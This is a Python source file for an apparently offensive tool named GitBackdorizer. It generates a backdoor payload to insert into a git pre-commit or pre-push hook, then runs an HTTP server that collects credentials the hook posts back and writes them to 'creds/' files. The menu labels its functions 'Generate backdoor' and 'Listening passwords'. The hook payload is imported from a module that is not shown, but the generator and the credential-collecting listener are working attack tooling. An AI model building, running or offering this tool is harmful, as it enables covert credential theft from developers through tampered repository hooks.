import os
import datetime
from conf import menu
from conf.banner import banner
from conf import payload as pl
from prompt_toolkit import prompt
from prompt_toolkit.contrib.completers import WordCompleter
from http.server import HTTPServer, BaseHTTPRequestHandler

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        body = self.rfile.read(content_length)
        filename_creds = 'creds-%s' % datetime.datetime.now().strftime("%Y%m%d%H%M")
        file_creds = open('creds/%s' % filename_creds,'a')
        file_creds.write(str(body, 'utf-8'))
        file_creds.write('\n')
        print(str(body, 'utf-8'))

class GitBackdorizer(object):

    def __init__(self):
        self.main_menu = menu.main
        self.gen_menu = menu.gen_backdoor
        self.banner = banner()

    def listening(self, ip_listening, port_listening):
        os.system('clear')
        print('\n\n[+] Creds:')
        httpd = HTTPServer(("0.0.0.0", int(port_listening)), SimpleHTTPRequestHandler)
        httpd.serve_forever()

    def write_payload(self, payload_content):
        filename = prompt('Set output name: ')
        if filename == '':
            filename = "output-{}.sh".format(datetime.datetime.now().strftime("%Y%m%d%H%M"))
        filename = 'output/{}'.format(filename)
        output_payload = open(filename, "w")
        output_payload.write(payload_content)
        output_payload.close()
        return(filename)

    def set_config(self):
        ip_listening = prompt('Set IP to listening: ')
        port_listening = prompt('Set PORT to listening: ')
        payload_choice = prompt('Choose into insert payload:\n1 - pre-commit\n2 - pre-push\n:> ')
        payload_hook = lambda choice: "pre-commit" if choice == "1" else "pre-push"
        payload = payload_hook(payload_choice)
        payload_content = pl.generate(ip_listening, port_listening, payload)
        filename = self.write_payload(payload_content)
        save_config = prompt('Save configuration? [y] [n]\n:> ')
        if 'y' == save_config.lower():
            output_config = open('conf/conf_payload.conf', 'w')
            output_config.write('{}|{}|{}'.format(ip_listening, port_listening, payload))
            output_config.close()
        elif 'n' == save_config.lower():
            pass
        print('\n[+] File in output/{}'.format(filename))
        listen_response = prompt('Listening backdoor? [y] [n]\n:> ')
        if 'y' == listen_response.lower():
            self.listening(ip_listening, port_listening)
            #pass
        else:
            self.start()
       
    def get_config(self):
        load_file = open('conf/conf_payload.conf', 'r')
        ip_listening,port_listening,payload = load_file.readline().split('|')
        load_file.close()
        payload_content = pl.generate(ip_listening, port_listening, payload)
        filename = self.write_payload(payload_content)
        print('\n[+] File in output/{}'.format(filename))
        listen_response = prompt('Listening backdoor? [y] [n]\n:> ')
        if 'y' == listen_response.lower():
            self.listening(ip_listening, port_listening)
        else:
            self.start()

    def gen_backdoor(self):
        os.system('clear')
        print(self.gen_menu)
        while 1:
            user_input = prompt(':> ')
            
            if '1' == user_input:
                self.set_config()
                
            elif '2' == user_input:
                self.get_config()
                
            elif 'back' == user_input:
                self.start()
            else:
                os.system('clear')
                print('Chose one option')
                print(self.gen_menu)

    def menu(self):
        noob_choice = 0
        while 1:
            user_input = prompt(':> ')
            
            if '1' == user_input:
                self.gen_backdoor()

            elif '2' == user_input:
                os.system('clear')
                choice_load = prompt('Load config? [y] [n]\n')
                if 'y' == choice_load.lower():
                    load_file = open('conf/conf_payload.conf', 'r')
                    ip_listening,port_listening,payload = load_file.readline().split('|')
                    load_file.close()
                    self.listening(ip_listening, port_listening)
                elif 'n' == choice_load.lower():
                    ip_listening = prompt('Set IP to listening: ')
                    port_listening = prompt('Set PORT to listening: ')
                    self.listening(ip_listening, port_listening)

            elif 'exit' == user_input:
                exit()

            else:
                noob_choice += 1
                if noob_choice == 3:
                    print("Are you dumb?? \nI'll show you again what you have to do:\n")
                print("Choose one option\n1 - Generate backdoor\n2 - Listening passwords\nexit - to quit")


    def start(self):
        try:
            os.system('clear')
            print(self.banner)
            print(self.main_menu)
            self.menu()
        
        except KeyboardInterrupt:
            exit() 


if __name__ == '__main__':
    gb = GitBackdorizer()
    gb.start()